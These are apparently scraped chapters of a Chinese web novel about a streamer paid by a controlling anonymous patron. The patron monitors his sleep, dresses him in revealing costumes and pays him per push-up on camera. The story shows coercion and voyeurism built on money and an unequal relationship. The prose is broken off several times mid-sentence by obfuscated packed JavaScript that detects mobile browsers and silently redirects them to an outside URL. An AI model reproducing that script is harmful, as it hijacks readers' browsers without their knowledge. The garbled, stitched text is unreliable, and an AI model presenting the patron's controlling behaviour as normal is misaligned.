宁桑的自我定位里,他们只是主播和观众的关系,不该有太多过界的行为。 事实证明,不对等的关系里,被动的那方意见是无效的。 一个微信电话直接打了过来。 宁桑不情不愿地接起:“我睡眠质量挺好的,不用监督。” 男人那边有翻书页的声音:“是吗?” “这样我容易睡不着。”宁桑嘟囔道。 “睡。”男人显然不想和宁桑沟通,“不能关麦。” 宁桑只好关了灯,把自己塞进了被子里。 他翻来覆去好一会:“你不怕我半夜说梦话啊?” 男人不理他,但那边的麦克风应该也是开着的,宁桑能听到很轻的翻书声。 这声音听得他多了些困意。 宁桑仗着对面不说话,眼睛闭上了,嘴巴却没停:“我说不定会打呼噜呢,那样多不好呀,你等下还是把通话挂了吧,好不好?” 翻页的声音停了一瞬,又好像只是宁桑的错觉,他脸颊蹭了蹭枕头,睡着了。 宁桑住过寝室,从室友的评价来看,他睡觉挺安静的,除了早上起床时起床气太重外,没有什么缺点。 所以虽然0920这个要求很过分,宁桑也没有偷偷关麦。 要是顺便说两句坏话,骂他几声,让他听到就好了。 反正宁桑不用对梦话负责。 梦都是相反的嘛。 这一天过得实在憋屈,宁桑一睡着,就开始做梦了。 梦境乱七八糟的,他在一片看不到边际的漆黑里奔跑,时不时碰到障碍被绑倒,却怎么都找不到出口。 他越跑越心急,在快要被身后的黑暗吞噬时,眼前出现了一点光亮。 “爸、妈……”宁桑往那处跑去,在抵达后,他见到的不是父母的脸,而是一个男人。 或许是0920的声音太像徐骁,宁桑梦里两人身影重合,“徐骁”掐住了他的脸颊:“不听话乱跑,就会像刚才那样。” “唔……你放开我!”宁桑挣扎起来,梦里的“徐骁”手往下移,覆在了他的颈脖上。 窒息感如潮水般涌来,宁桑眼角变得湿润,他从梦中惊醒了。 被子闷在了脸上,他不知道什么时候把自己缩到了床中央。 宁桑脸颊的泪水还没干,他恍惚地用手碰了碰脸,又想起梦中被人掐住的感觉,没忍住骂了句:“徐骁这个神经病!” “徐骁怎么了?” 耳边出现的男声差点把宁桑吓得一激灵。 被子外面有鬼吗? 还是说我做了个梦中梦,现在还是在梦里? 宁桑不敢乱动,但被子底下闷得难受,他还是慢慢把脑袋往上挪,探了出去。 呼吸到新鲜空气,宁桑定了定神。 看来这第二个梦,没有那么想折磨他。 “我怎么会梦到徐骁,真恶心。”宁桑手按在被子边缘,心脏跳得还有些快,“早知道刚才把他手剁了。” 一声轻笑让宁桑的碎碎念停住了。 他僵硬地扭过头,看到了枕头边的手机,彻底清醒了。 宁桑不敢发出太大动静,他拿过手机,看清了上面的时间。 凌晨一点半。 这人说要监督我睡觉,结果自己还醒着?! 宁桑把手机放回去,下半张脸重新埋回被子里。 他耳朵发着热,有些羞耻。 那边的人可能不知道他醒了,宁桑闭着眼,想快点重新睡觉。 可做了噩梦后,一闭眼就会看到不太好的画面,宁桑鼻端仿佛都闻到了火灾现场的焦糊味。 以往这种时候,宁桑会找个无聊的小游戏玩,或者看看徐骁最近又做了什么,骂他几句泄泄愤。 现在手机挂着通话,宁桑什么都做不了。 他直挺挺地看着天花板,想能不能假装手机没电了,把通话挂断。 这是个不错的注意。 宁桑拿过手机,点了那个挂断按钮。 通话结束后,他浑身清爽了不少。 这个无聊的通话,竟然持续了快四个小时。 “以后不会都要这样吧?”宁桑顿时感到绝望。 本来打算玩会游戏的,但戳来戳去,游戏一关都没过,宁桑就困了,直接捧着手机睡了过去。 听到声音时,他以为是闹铃,直接眯着眼在屏幕上乱按一通,想先关掉。 铃声是结束了没错,紧接着响起来的,是男人带着点哑的嗓音:“起床了?” 宁桑猛地偏过头咳嗽起来:“哥?” “漱完口先喝杯水,再去做早饭。”男人叮嘱完,就挂了这通叫早电话。 “不知道的还以为你要跟我谈恋爱呢。”宁桑把手机接上充电线,踩着拖鞋去了卫生间洗漱。 头发拢起扎在后脑,宁桑顶着这根小辫子,去厨房准备早饭了。 把鸡蛋放进蒸锅时,宁桑重重地叹了口气。 今天的早饭还是直播,他往鸡蛋上倒了酱油,勉强下咽。 艰难吃完了这顿早饭,宁桑刚想把视频挂了,0920就开口问他家里有没有体重称。 “没有呢。”宁桑眨眼说。 他根本没打算在这里久住,为什么要买体重称? 而且宁桑以前也没有称体重的习惯,反正他又不会胖。 领了个拿体重称的任务,通话结束了。 体重称第二天到了快递站,宁桑去拿的时候,快递站的员工看了他好几眼。 宁桑看回去。 “我记得你,你上次搬了个大箱子回去呢。”那员工笑笑说,“这次还是自己搬吗?” “嗯。”宁桑找到了那个体重称,提起时没什么防备,手腕被狠狠拖了一下。 怎么连个体重称都这么重?! 0920不会说是体重称,实际给他买了个称坨吧! 宁桑丝毫不想怀疑是自己的握力有问题。 他抱着这个体重称,和买来的菜回了公寓。 走到楼下时,他瞥见到了一道熟悉的身影。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496893|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 岑唯不知道在和谁打电话,边打还边转圈,似乎很着急。 宁桑想快点回楼上放手里的称坨,他看岑唯的电话一直没结束,还是没上前和他搭话。 十分钟后,岑唯倒是自己找过来了。 宁桑给他开了门。 这间房子里恰好有个大衣柜,宁桑之前都没用到,昨晚才把外面那堆衣服都收拾了进去。 现在家里很干净,是能见人的。 岑唯也没怎么注意周围环境,他一进来,就关好门,要去拉宁桑的手。 宁桑把手背到身后。 “好好好,我不碰你。”岑唯说,“你还记得我之前和你说的那个女主播吗?” “你和我说过好多人,我不记得了。”宁桑进了厨房,离今天的吃饭时间还有半小时,他得快点开始做饭。 岑唯见到宁桑要做饭,好奇地站在一边,连话里的急迫都少了些。 “她直播很早,和平台高层的人认识。”岑唯说的是一个颜值主播,两人都喜欢研究美妆,关系还不错,“她跟我聊天的时候,提到了你直播间被封的事。” 宁桑早觉得自己被封得冤枉,他不太熟练地切着萝卜:“怎么?我惹到谁了吗?” “你怎么知道?”岑唯愣了愣。 萝卜不小心切大了一块,宁桑比划着刀,想将它一分为二:“除了这个,还有其他可能吗?难不成是徐骁不在乎那些营销号,只在乎我这个连他日薪都赚不到的主播?” 宁桑讨厌徐骁,却也不觉得徐骁真的会小气到封他的账号。 “她说封你的直播间,是一个给平台投了钱的老板的主意。”岑唯看宁桑把刀举起,要往下剁的姿势,眼皮一跳,“姓唐。” 落刀的力度突然变大,刀刃卡进了木头做的案板里:“唐?唐嘉娱乐的那个唐?” “你认识?”岑唯悄悄挤开了宁桑,帮他把刀拿了出来,再顺手切起了剩下的萝卜。 “他和徐骁好像是发小,”宁桑歪了歪头,“还有小道消息传他们有一腿呢。” “咳、咳咳……”岑唯偏过头咳嗽,又去看宁桑,“你从哪看的这些?” 宁桑鼓着腮帮子,一脸不爽。 要不就是徐骁心眼比他想的要小百倍,要不就是他们真的有一腿,唐庆昊给徐骁出气呢。 都那么有钱了,欺负他一个小主播做什么? 宁桑想起父亲和他说家里破产了那天,那是他第一次觉得徐骁一家都没有好东西。 “怎么哭了?”岑唯回过头,刚想问宁桑萝卜要怎么煮,就看到了他直直往下掉的眼泪。 宁桑哭的时候不怎么出声,只是眼泪刹不住,他睁着眼睛落泪的样子,没有人看了会不动容。 岑唯每次看宁桑这样,就很想去摸他的头,他把这种心情解释为母性爆发。 宁桑是个被宠着长大的小孩,这点不难看出来,就算家庭遭遇变故,也没让他的性格在短时间內有太大转变。 岑唯有时候觉得,宁桑要星星,可能都会有人愿意给他摘。 他拿了纸巾给宁桑擦眼泪。 宁桑眨了下眼,忽然道:“我改变主意了。” “什么?” “……我不要让徐骁过得太好。” 12. 蜜桃 岑唯没听懂宁桑的话,宁桑也不给他多解释。 他拉着一张脸,走到灶台前继续做饭:“谢谢你,你可以走了。” 要不是岑唯和宁桑相处有一段时间了,可能真的会以为他没礼貌。 他知道宁桑和他说“谢谢”的时候,是真心的。 “你好好照顾自己。”岑唯又叮嘱了几句,就离开了。 宁桑加快速度,把这顿饭做完。 开饭前他按着0920今早的指示,从衣柜里拿出了一套水手服。 拿出来的时候,宁桑想这套还好,至少是裤子。 等穿上了,他忽然就想骂人了。 先不说这裤子短得惊人,比他直播穿的运动短裤还短,身后的位置竟然还莫名其妙开了个洞。 宁桑不是很想知道这个洞是做什么的,也不想问。 但某个人可能是把商品图研究得很清楚,猜到宁桑大概在换衣服了,发消息过来让他找出一条动物尾巴穿上。 宁桑没仔细看过那种毛绒配饰,他拿起了最蓬松的一条狐狸尾巴。 脑子里已经有了最坏的设想,所以在看到那截松紧带时,宁桑还愣了愣。 他左右看了看,发现这条尾巴能拿皮带固定在裤子上。 ……所以裤子后面的洞到底是干嘛的? 宁桑懒得再翻其他的尾巴,所以也没发现,那堆尾巴里还有另外的样式。 把脑袋上的狐狸耳朵也卡好,宁桑坐到桌前,拨出了视频。 视频过几次后,宁桑发现0920的话其实不多,如果他乖乖吃饭,0920可能从头到尾都不会说一句话。 这让宁桑开始学习把他当空气。 “哥哥好。”宁桑还想着直播间被封的事,语气有些敷衍。 他低下头就要吃饭。 “吃饭的时候不要带着事。”男人说。 宁桑:“……你是我肚子里的蛔虫吗?啊,我没有说哥哥不好的意思,就是有点好奇,你怎么知道我在想事情呀?” “刚才没看镜头,也没先站起来,让我看看你身上的衣服。” 虽然不情愿,但宁桑为了钱,总体还是敬业的,他今天确实心情很差。 本来宁桑只想和徐骁井水不犯河水,反正他们不可能见面。 现在宁桑很想给徐骁找点不痛快。 他知道自己该怨恨的主要对象,是徐骁的父母。 可或许是青春期对徐骁有些幻想,导致那件事之后,他对徐骁的厌恶也是加倍的。 宁桑不擅长读别人的想法,这几个月,对自己倒是刨析了个遍。 他只是讨厌自己,但在赚够钱之前,他不能放任这种情绪溢出,所以找了个对象分担他的恶意。 原本过过嘴瘾,骂几句就算了,在知道徐骁有可能让朋友封了自己的直播间后,宁桑对他的恨里多了几分真情实感。 这些都是该押后思考的,至少现在,他得讨好金/主。 宁桑顺从地站了起来,背过身,让0920看清了他后腰垂着的粉白色尾巴。 “喜欢吗?”男人问。 宁桑背对着他翻了个白眼:“我对毛绒没有什么特别的兴趣呢。” “这么巧,我也没有。” 宁桑诧异地回过头,看了镜头一眼,甜甜地问:“那哥哥为什么要我穿尾巴?” “先吃饭。” 宁桑已经习惯了被男人命令着行动,他坐回椅子上,一口一口咀嚼起了食物。 宁桑吃饭的速度不快,他喜欢把食物嚼得足够碎,再往下咽,导致腮帮子一直像仓鼠一样鼓起。 吃完0920也没有要挂视频,他让宁桑把手机移到厨房,看着他洗碗。 “哥哥,你是做什么工作的?”宁桑现在叫“哥哥”叫得熟练,反正嘴甜点又不会掉两块肉。 “闲职。” 说了跟没说一样。 宁桑想过了,要在短期內套到更多钱,除了按0920要求的健康生活,穿些羞耻的衣服外,他必须得主动出击,跟男人再熟一点。 说不定这人会认他做个干弟弟,那样他不就能直接开口要钱了吗? “你以前很忙的,最近怎么有空呀?”宁桑洗碗的动作也慢吞吞的,他把碗里里外外都刷了个干净,再用清水冲走泡沫。 厨房顶部装了很亮的白炽灯,宁桑修长的手在灯光和水流的双重加持下,看起来很漂亮。 “休假。”依旧很言简意赅。 宁桑想这人还不如是个真哑巴,他发挥在直播间聊天的功力,绞尽脑汁引男人说更多话。 “休假没有出去玩吗?”宁桑把碟子排排放到沥水架上,拿布擦干净洗手台。 他不太会做家务,好在家务其实不难。 要是早点做顿饭,给父母尝尝就好了。 宁桑出神地想。 “我要管你。”男人说。 宁桑嘴角抽了抽,心想这还成我的错了? “哥哥真好。”宁桑把手擦干,转身看镜头。 他歪着脑袋,头上的狐狸耳朵跟着歪了歪:“下午我们做什么?” “你今天为什么分心?”男人直接问。 宁桑不是很想回答他的问题。 他刚才费了那么多口舌,没从男人这里套到半句话,这人怎么一上来就套他的底? 偏偏宁桑拒绝不了。 他手指绕着浅蓝色的发尾:“是一些私事。” “不能和我说?” “你是我的什么人呀?” 宁桑这话问得俏皮,像在撒娇耍赖。 他站得腿酸,把手机从支架上拿了下来,走到了窗户边。 给0920直播,宁桑就没用直播间那些打光灯了,照得他眼睛疼。 视频的画质也不高,宁桑自己瞧着,还觉得有点朦胧美。 不过光线对画面还是很有提升效果的,宁桑拉开窗帘,下午刺眼的日光让他眯了下眼。 - 徐骁看着画面白了一阵,等到恢复时,小主播已经坐在了飘窗边,他背着光,看着镜头。 那头金发在阳光下尤其好看,更别说男生白皙得过分,徐骁有一瞬间的错觉,好像坐在那的不是个大活人,而是只精致的人偶。 人偶不会有这种眼神。 徐骁看着男生眼里满满的不服气,想他大概不想对一个陌生人交心。 等不到他的回答,男生开始玩起了旁边的尾巴。 小主播很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496894|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,徐骁第一天看他直播就看出来了。 徐骁当时还以为,这人不会播太久,他一看娇生惯养长大的。 没想到他竟然能播到现在,从直播间面对众人,到只播给他看。 徐骁嘴角勾了下,他反问道:“你觉得我们是什么关系?” 男生的脸立马就红了,他往窗外看,脸颊的红晕在阳光下异常明显。 徐骁想起今天阿姨来冰箱补充菜品时,顺带买的水蜜桃。 “想吃水蜜桃吗?”知道男生不会再回答他的话,徐骁干脆换了个话题。 “哥哥要买给我吗?”漂亮的脸往镜头边凑,“可是快递站有点远,我搬不动水果的,不过家楼下刚好有个市场。” “我给你的钱不够买一箱桃子吗?”徐骁很想知道这人都把钱花哪了。 “够的。”男生点点脑袋,“那哥哥是想看我吃桃子吗?” 他说话时唇瓣一张一合,能瞧见一点舌尖。 这人喝牛奶都能喝得狼狈,吃起多汁的水果,不知道会是什么样。 徐骁切出画面,动动手指给他转了一笔承包水果摊都足够的钱。 男生眼睛肉眼可见的亮了起来:“谢谢哥哥,我等会就去买桃子!” “买完桃子,然后呢?”徐骁把来找他的小奶狗捞起来,低头看了看小狗黑色的眼珠。 一样是明亮的眸子,小狗的情绪要直接很多。 和屏幕里那只有私心的小狐狸不一样。 徐骁摸了摸小狗的脑袋,小狗用舌尖舔他的手腕作为回应。 “然后就把哥哥给我的钱都存起来呀。”男生的语气要多乖巧有多乖巧,就像答应父母会好好存钱的小孩。 “真不听话。”徐骁没开麦,这句话没有传到另一边。 明明说了,撒谎要有惩罚。 - 宁桑感觉出来了0920是在试探他。 钱都给我了,对花出去的钱怎么还有上占有欲了? 宁桑举手机举得手酸:“哥哥真的没事忙吗?” 他右手拿手机,左手摸着狐狸尾巴的毛。 别说,这毛摸起来手感还挺好的。 之后0920不要回去的话,可以送给岑唯。 宁桑想,这比他的头发揉起来手感好多了,岑唯完全可以当个平替。 “说了,我在休假。”男人说,“还有,我看体重称到了,你去称过了吗?” “没有呢。”宁桑站起来,挪到了体重称旁,站了上去,再翻转镜头,给0920看上面的数字。 “太轻了。”这话里带着不悦。 “那我努力吃胖点,”宁桑说,“要胖点得补充营养呢。” 得再给我打一笔营养费吧? “嗯,今晚多吃半碗米饭,牛奶也要多喝一杯。” 响起的不是转账提示音,是讨人厌的命令。 “我是做错了什么,哥哥要惩罚我吗?”宁桑试图耍赖。 “你这不是挺聪明的吗?” 连着被试探几次隐私,加上徐骁的事,宁桑的脾气本来就濒临爆炸边缘,0920这话像扎破气球的针尖。 宁桑气得头发都翘起来了几根,他把手机往床上狠狠一摔。 13. 运动 “哎呀,手滑了。” 宁桑睁眼说瞎话,也没有打算去马上捡起手机。 “准头挺好的,没往地上砸。”男人没信他的话,“因为没钱换手机吗?” 宁桑这回把狐狸发箍也摘了下来,他怀疑再箍下去,他的脑袋会爆炸。 “我比较念旧,不想换手机。”宁桑声音低了点。 虽然他在脾气暴躁的时候忍不住摔东西,但没忘记这是家里破产后,父母送给他的生日礼物。 他很珍惜。 而且0920没说错,宁桑也是真的没钱换新手机。 “我给你的钱,你都花哪了?”0920直接问了,“你看起来不像花钱大手大脚的人。” 宁桑听完更气了。 既然知道他没钱,怎么不给他多打点啊! 他想0920大概是个有钱的二世祖,每天游手好闲,兴趣爱好就是无聊用钱砸人才对。 而不是像现在这样,得宁桑表现好,才能拿到一笔转账。 “我都存起来啦。”宁桑支支吾吾的,他重新拿起手机,对着镜头。 他看到画面里的自己头发乱糟糟的,于是抬手理了理碎发。 “这是你今天第三次撒谎。” “哪里有!” 反驳的话脱口而出,宁桑的脸却迅速红了,他睫毛颤着,一脸心虚样。 比起0920是怎么看出他撒谎的,那些未知的惩罚要更恐怖些。 喝牛奶多吃饭就算了,这人都给他寄衣服了,保不齐会让他穿着暴露的衣服,做些什么。 宁桑一急,眼眶就隐隐泛红,眼睛变得雾蒙蒙的。 “还记得我说过不听话会怎么样吗?” “你要罚我吗,哥哥?”宁桑咬着嘴唇,把这句话说得要多可怜,就有多可怜。 “你很害怕我罚你?”男人的语气依旧冷静。 宁桑心里已经把他反复鞭尸了,这说的难道不是废话吗?! 哪有正常成年人想被另一个成年人惩罚的,他们又不是奇怪的关系! 0920很轻地笑了声,轻到宁桑觉得是错觉:“不罚你太难的。一个星期后,至少重两斤就好。” 要增重,在宁桑的概念里等于多吃。他从小就不长肉,父母和家里阿姨变着法花样投喂,也没把宁桑喂胖。 “我吃不胖。”宁桑眨着眼,他嘴角往下撇,又把手机抬高了些,稍稍仰头去看镜头。 努力扮演一只小狗。 “运动出汗,就有胃口了。”男人说,“等会就开始吧,穿你之前那套运动服?” 在宁桑讨厌的事情里,运动能排上前三。 但他只能咬着牙,应下来。 “我不知道做什么运动。”他下意识问完,又有些后悔。 让0920给他指定,还不如他自己选呢。 鬼知道这人会提出什么变态运动。 男人很快给出了回答:“跪姿俯卧撑吧,三组,一组十次。” 宁桑对健身运动完全不了解,他把手机放到一边,用电脑搜了这是个什么姿势。 ……他有句脏话不知道该不该讲。 姿势很正常,但0920要求的可是他穿那条短裤! 和紧身的裤子不一样,宽松又短的运动裤,他只要蹲下来塌腰,那不是什么都能看见了? “可以换一个吗?”宁桑试图商量。 “想换什么?”0920问。 宁桑本来还因为可以商量高兴了一秒,但继而想到,那套衣服,无论做什么动作,该露的都会露。 他根本没法避免。 岑唯当初给他准备的什么破衣服啊!!! 宁桑气得鼓起一边腮帮子,他瞪着镜头,连表情都维持不住了。 “不喜欢运动?”0920给了他一个台阶下。 “嗯嗯。”宁桑点头点得头发跟着一起晃。 “那更要动起来了,去换衣服吧,准备好再打给我。”男人说完这句,把视频挂了。 “我是不是还得夸你一句挺尊重我隐私的啊!”宁桑对着手机破口大骂。 骂完又心疼地摸了摸自己的手机。 他去翻了翻衣柜,想找到其他的运动服,裤子稍微长一点,到膝盖就行。 可惜他自己的私服都不太适合做运动,而0920送来的那些,更是一件比一件短。 宁桑已经快麻木了,他拉窗帘,换衣服,换好跪在床上,塌下腰往后摸。 和他想的一样,这裤子什么都遮不住。 宁桑手臂松了力气,整个人趴下来,无意义地喊了几声。 他想起之前给0920发的那两张露/肤照,0920当时没有回他,是其实并不爱看,还是没手回? 宁桑及时打住了想法,再想下去他怕他去厕所吐出来。 他长得好看,自然没少被人骚扰。 大学隔壁宿舍有个男生追他追他轰轰烈烈,不知道从哪拿到了他的手机号,还给他发了一堆不堪入目的短信。 宁桑看着恶心,直接在大庭广众下骂了他一顿。 骂过后那人变本加厉,还说他骂人的声音好听,这事宁桑想起来就一阵恶寒。 最后是宿舍里的大哥看不过去,把人揍了,那人才老实。 大哥人挺好的,也不知道现在怎么样了。 宁桑偏过头,打开了手机的联系人页面。 那里空荡荡的,他早就把手机号给换了,以前的同学不会再联系到他。 刚开始直播时宁桑还担心过,会不会有熟人刷到他的直播,后来他想通了,刷到了又怎么样呢。 他只是想在短时间內把钱赚齐,那之后无论别人如何看他,都和他不再有关系。 赚钱重要。 宁桑闭了闭眼,坐起来,把视频拨了出去。 都已经委屈到这地步了,事到如今再扭捏,估计手机那头的人听了也只会笑话他。 视频接通的时候,宁桑刚好把手机架到了支架上。 “我换好衣服了。”宁桑说,“在床上做可以吗?我这张床的床垫还挺硬的。” 家里没有瑜伽垫,直接跪地板上,对膝盖也不好,0920同意了。 宁桑到电脑边点开视频,看了一遍。 看过大概的动作后,他跪坐在了床上,看向镜头。 “不情愿?”男人问。 “没有。”宁桑闷闷地说。 “撒谎是有代价的,以后不要再撒谎了。” 宁桑气不打一处来。 我就算不撒谎,你难道就不会让我做这些了吗?! 他知道自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496895|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己还拿着0920金额不小的打赏,不可能只说几句好听话,就能把好处都占了。 但这不耽误宁桑愤愤不平,在心里疯狂骂0920这个变态。 “我没有撒谎。”宁桑嘴硬地又嘟囔了一句。 - 手机的收音不错,宁桑这句话原原本本传到了徐骁耳朵里。 徐骁听他这么说,心里多了丝烦躁。 他不喜欢事情往计划外的方向发展,但小主播越叛逆,越能勾起他的兴趣。 只是同时,不受掌控导致的暴戾也在内心逐渐积攒起来。 他想要小主播听话,乖巧,就和他正抱着的小狗一样。 可又好像不仅仅是这样。 还没有名字的小狗似有所感,仰头看自己的主人。 徐骁挠了挠它的下巴,小狗眯起眼睛,发出舒服的哼唧声。 耳机里传出了另一道哼声,是已经跪在床垫上,抬起臀部的男生发出来的。 “姿势不标准。”徐骁从男生线条流畅的鼻梁,看到他的后背。 视线在这里停下,徐骁缓缓开口:“腰不要往下塌,挺起来。” 男生把上衣袖子挽了几道,能看到他的小臂都在发抖。 徐骁常年泡在健身房,做俯卧撑毫无压力,很难理解为什么有人只是做个预备动作,都能抖成这样。 体力也太差了。 运动服太宽大,会把动作遮住,徐骁忽然有点后悔,早知道让小主播穿那套露脐的衣服了。 这个念头在他脑内停留了不到两秒,瞥见腰下方的曲线后,徐骁有一瞬竟然想移开视线。 人这么瘦,那里的肉倒是多。 看来上次他穿裙子时,自己看到的不是错觉。 “肩膀放松点。”徐骁纠正着小主播的动作。 小主播扭过头,看了眼手机,眼角竟然有水光。 徐骁愣了下,他知道这人爱哭,但他好像比自己预想的,还容易流眼泪。 徐骁心里没什么愧疚感,只是忽然很想用指腹抹去他的泪水,感受那滴眼泪是温热还是冰凉的。 “很好。”徐骁说,“现在往下,注意不要塌腰。” 男生的双臂打颤,他低下头时,头发遮住了侧脸。 徐骁想,之后可以让他把头发扎起来。 还是扎成两个小辫子好了,挺可爱的。 - 宁桑咬着牙,不让自己整个人扑倒在床上。 他在心里痛骂着0920,好不容易才让自己顺利俯下身。 还没松口气,宁桑又发现起身比俯身更难,他气得眼泪直往外流。 泪珠顺着他的脸颊往下滴,汇集到小巧的下巴尖,再直直打到了床单上。 白色的床上湿了很明显,手机放得近,宁桑不知道对面那人有没有看清他在哭。 他莫名地不想出声服软。 0920可能根本不是好/色,不过是想故意看他出丑,以达成报复他的效果! 宁桑原先还觉得,他人设翻车后,这人的反应太淡了点,原来是在这里等他呢。 委屈让宁桑的眼泪刹不住车,一个劲地往外涌。 “慢慢来,你可以做到的。”男人的声音没有半点幸灾乐祸,一贯的冷淡语气,却叫宁桑憋不住,发出了一声啜泣。 14. 铃铛 流眼泪,和哭出声是两回事。 手机那头还没反应,宁桑自己先臊得耳朵红了。 手臂一时没撑住,他上半身趴在了床上。 额头抵着床单,宁桑不想动,也不想抬头。 但他更不想维持这个屁股撅着的姿势给别人看。 宁桑往旁边一倒,侧躺在床上,用布满泪痕的脸去看镜头。 “手腕扭到了?”男人问。 “嗯。”宁桑又撒了一个谎。 他这声连嘴都没张,是从喉咙里发出声音应答的。 宁桑不信这样男人还能看出他在撒谎。 以前还不懂0920在互联网找个消遣,为什么对他是否撒谎这点那么纠结,明明作为一个主播,他只要嘴甜就行。 原来这都是捉弄他的手段,只要0920认定了他在撒谎,就可以随意提要求折磨他。 这人怎么那么坏! 宁桑紧闭着嘴,泪水停不下来,他有些喘不过气,胸口起伏着,脸色也转为苍白。 “呼吸,听话。” 宁桑扯过旁边的枕头,把自己的脸闷了进去,像在和那道命令作对。 “萌萌?” 这一声更是把宁桑的怒火往上推,他甚至想要不干脆闷死算了! 半晌后,他还是把枕头拿开了一点,开始呼吸新鲜空气。 宁桑有丰富的生气经验,当然不至于让自己被活活气死。 只是河豚要从气鼓鼓的状态,恢复原样,也是要时间的。 宁桑用枕头挡住下半张脸,用通红的眼眶去看镜头。 他手还好好地抱着枕头,手腕自然没有扭伤。 又撒了一个谎。 宁桑已经有种背上死罪,无所谓罪名继续增加的麻木了。 他没有选择,只要0920的钱在那里,无论他要求什么,宁桑都只能乖乖照做。 “再试一次,好吗?”男人主动把手腕的事翻篇了,“这次慢一点。” “我做完了,会有奖励吗?”宁桑假装不知道这是惩罚内容,“太难了。” “成功一次一千块?” 一千块? 那十次一组,一下午做三组的话,三万块不就到手了? 宁桑眼睛亮了亮,觉得这买卖可以做。 他丢开枕头,抹了抹眼泪,重新跪好。 “不着急,先喝口水。” 宁桑下了床,去厨房倒了一杯水,站到手机前喝给男人看。 他喝得有点急,嘴唇离开杯沿时,有水洒了出来。 惦记着那三万块,宁桑把杯子往床头一放,就要开始重新挑战。 “擦一下腿上的水。”男人的声音里带上了点无奈。 “你真讲究。”宁桑抽了张纸巾随手一擦,擦过后把纸巾丢进了垃圾桶里。 而被他擦过的那块皮肤,迅速浮起了红。 第二次挑战,这回0920没有再随便说话,干扰宁桑的情绪,宁桑顺利地完成了第一个俯卧撑。 一千块。 他在心里想。 至于裤子太短,会导致走光这件事,已经被宁桑遗忘在了脑后。 他连着做了三个俯卧撑,额角就沁出了汗水,手臂也抖得不像话。 别说他本来体力就差,闷在房间里直播了两个月,上次能把快递箱从外面搬回来,都是奇迹了。 “休息一下,调整呼吸。”0920开了口,他帮宁桑调整了呼吸节奏。 宁桑本能地不想听他的话,但想着刚才几个俯卧撑期间入账的三千块,出于讨好老板,以及顺利完成任务的信念,他还是按着0920的声音,把呼吸调整了过来。 完成一组后,宁桑躺倒在床上,额发都被汗水沁湿了。 “你身体太差了。” “……我知道。” “提高身体素质,生活质量才能跟着上去。” 宁桑嘴上应着“好”,心里想的是反正他也不打算活太久,身体凑合够用就行了。 “不要躺着休息,坐起来喝口水。” 宁桑听话地去拿水杯。 躺着的时候没发现,坐下来了,宁桑才感觉到,他的裤子不知道什么时候被卷了上去。 宁桑不敢置信地低头,看着自己几乎全露出来的大腿侧面,有些窒息。 这人刚才竟然什么都没说?! “你以前都是穿着这条裤子直播的?”0920一副刚发现的语气问。 “你难道不知道吗?!”宁桑运动过后本来就红的脸,顿时又深了一个度,像要烧起来了。 “你该不会以为,我是故意的吧?” “不然呢。” 宁桑嘟囔着,都给他寄那些衣服了,这人能安什么好心。 不过仔细一想,他觉得裤子太短,确实从来没有在直播间站起来展示过。 原来他还真不知道。 宁桑说不上来现在心里的感受。 “你不知道,那叫我做俯卧撑是为什么?”宁桑憋得难受,还是问了。 “希望你好好锻炼身体,今晚多吃点。”0920说,“休息够了,继续下一组。” 劝宁桑多吃饭的人很多,直播间的观众,岑唯,市场卖菜的阿姨都说过。 可会叮嘱他锻炼身体,照顾好自己的人不多。 宁桑不合时宜地想起父母。 他跪到床上,重新做好姿势,低下头不让自己的脸被镜头拍到。 接下来半小时,宁桑很安静,连艰难起身时的不适喘气,都努力咽回了喉咙里。 0920只时不时提醒他的动作规范,宁桑就这样完成了下午的锻炼任务。 0920还是很守承诺的,钱马上就打了过来。 宁桑收了钱,去冲了个澡,然后下楼买菜。 路过水果摊,看到摊位上漂亮的水蜜桃时,宁桑走上前,和老板买了几个。 他又挑了些其他水果,回公寓时顺路拿给了岑唯。 岑唯恰好准备录视频,脸上抹了层厚厚的粉,一身的化妆品香味。 宁桑往后退了两步。 “相机吃妆,没办法。”岑唯接过宁桑手里的塑料袋,“啊,这桃子卖相真不错。” “我回去了。”宁桑转身要走。 “小宁,你是和以前的老板还有联系吗?”岑唯叫住了他。 宁桑后背一僵。 直播间被封时他哭得那么惨,这几天却跟没事人一样,宁桑想也知道瞒不了岑唯多久。 但他暂时也无法坦率地告诉岑唯,他都在做些什么。 总不能跟他说,几个小时前,他还穿着到腿根的短裤,趴床上给人表演俯卧撑吧。 不知道的还以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 